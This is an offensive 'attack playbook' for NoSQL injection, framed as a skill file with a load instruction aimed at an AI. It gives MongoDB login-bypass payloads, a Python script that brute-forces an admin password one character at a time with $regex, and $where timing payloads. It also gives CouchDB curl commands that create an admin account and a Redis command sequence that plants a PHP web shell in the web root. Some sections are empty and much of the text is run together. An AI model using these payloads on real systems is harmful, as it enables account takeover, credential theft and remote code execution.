Nosql Injection

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.

1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{  "username": "admin",  "password": {"$gt": ""}}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!

2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/loginContent-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}{"username": "admin", "password": {"$gt": ""}}{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST Array Injection (URL-encoded form)

username=admin&password[$ne]=invalidusername=admin&password[$gt]=username[$ne]=invalid&password[$ne]=invalidusername=admin&password[$regex]=.*

Ruby / Python params Array Injection

Same as PHP — use bracket notation to inject objects:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL-encoded $

3. MONGODB OPERATORS FOR INJECTION

4. BLIND DATA EXTRACTION VIA $REGEX

Like binary search in SQLi, use $regex to extract field values character by character:

// Does admin's password start with 'a'?{"username": "admin", "password": {"$regex": "^a"}}
// Does admin's password start with 'b'?{"username": "admin", "password": {"$regex": "^b"}}
// Continue: narrow down each position{"username": "admin", "password": {"$regex": "^ab"}}{"username": "admin", "password": {"$regex": "^ac"}}

Response difference: successful login vs failed login = boolean oracle.

Automate with NoSQLMap or custom script with binary search on character set.

5. MONGODB $WHERE INJECTION (JS EXECUTION)

$where evaluates JavaScript in MongoDB context.
Can only use current document's fields — not system access. But allows logic abuse:

{"$where": "this.username == 'admin' && this.password.length > 0"}
// Blind extraction via timing:{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// Regex via JS:{"$where": "this.username.match(/^adm/) && true"}

Limit: $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection).

6. AGGREGATION PIPELINE INJECTION

When user-controlled data enters $match or $group stages:

// Vulnerable code:db.collection.aggregate([  {$match: {category: userInput}},  // userInput = {"$ne": null}  ...])

Inject operators to bypass:

// Input as object:{"$ne": null}  → matches all categories{"$regex": ".*"}  → matches all

7. HTTP PARAMETER POLLUTION FOR NOSQL

Some frameworks (Express.js, PHP) parse repeating parameters as arrays:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

Use qs library parse behavior in Node.js:

?filter[$ne]=invalid→ parsed as: filter = {$ne: "invalid"}→ NoSQL operator injection

8. COUCHDB ATTACKS

HTTP Admin API (if exposed)

# List databases:curl http://target.com:5984/_all_dbs
# Read all documents in a DB:curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# Create admin account (if anonymous access allowed):curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS INJECTION

Redis exposed (6379) with no auth — command injection via input used in Redis queries:

# Via SSRF or direct injection:SET key "<?php system($_GET['cmd']); ?>"CONFIG SET dir /var/www/htmlCONFIG SET dbfilename shell.phpBGSAVE

Auth bypass (older Redis with requirepass using simple password):

AUTH passwordAUTH 123456AUTH redisAUTH admin

10. DETECTION PAYLOADS

Send these to any input processed by NoSQL backend:

true, $where: '1 == 1', $where: '1 == 1'$where: '1 == 1'', $where: '1 == 11, $where: '1 == 1'{ $ne: 1 }', sleep(1000)1' ; sleep(1000){"$gt": ""}{"$ne": "invalid"}[$ne]=invalid[$gt]=

JSON variant test (change Content-Type to application/json if endpoint is form-based):

{"username": "admin", "password": {"$ne": ""}}

11. NOSQL VS SQL — KEY DIFFERENCES

12. TESTING CHECKLIST

□ Test login fields with: {"$ne": "invalid"} JSON body□ Test URL-encoded forms: password[$ne]=invalid□ Test $regex for blind enumeration of field values□ Try $where with sleep() for time-based blind□ Check 5984 port for CouchDB (unauthenticated admin)□ Check 6379 port for Redis (unauthenticated)□ Try Content-Type: application/json on form endpoints□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

13. BLIND NoSQL EXTRACTION AUTOMATION

$regex Character-by-Character Extraction (Python Template)

import requestsimport string
url = "http://target/login"charset = string.ascii_lowercase + string.digits + string.punctuationpassword = ""
while True:    found = False    for c in charset:        payload = {            "username": "admin",            "password[$regex]": f"^{password}{c}.*"        }        r = requests.post(url, json=payload)        if "success" in r.text or r.status_code == 302:            password += c            found = True            print(f"Found: {password}")            break    if not found:        break
print(f"Final password: {password}")

$regex via URL-encoded GET Parameters

username=admin&password[$regex]=^a.*username=admin&password[$regex]=^ab.*# Iterate through charset until login succeeds

Duplicate Key Bypass

// When app checks one key but processes another:{"id": "10", "id": "100"}// JSON parsers typically use last occurrence// Bypass: WAF validates id=10, app processes id=100

14. AGGREGATION PIPELINE INJECTION

When user input reaches MongoDB aggregation pipeline stages:

// If user controls $match stage:db.collection.aggregate([  { $match: { user: INPUT } }  // INPUT from user])
// Injection: provide object instead of string// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:// If $lookup stage is injectable:{ $lookup: {    from: "admin_users",       // attacker-chosen collection    localField: "user_id",    foreignField: "_id",    as: "leaked"}}
// $out to write results to new collection:{ $out: "public_collection" }  // Write query results to accessible collection

$where JavaScript Execution

// $where allows arbitrary JavaScript (DANGEROUS):db.users.find({ $where: "this.username == 'admin'" })
// If input reaches $where:// Injection: ' || 1==1 || '// Or: '; return true; var x='// Time-based: '; sleep(5000); var x='// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='

Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)

Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.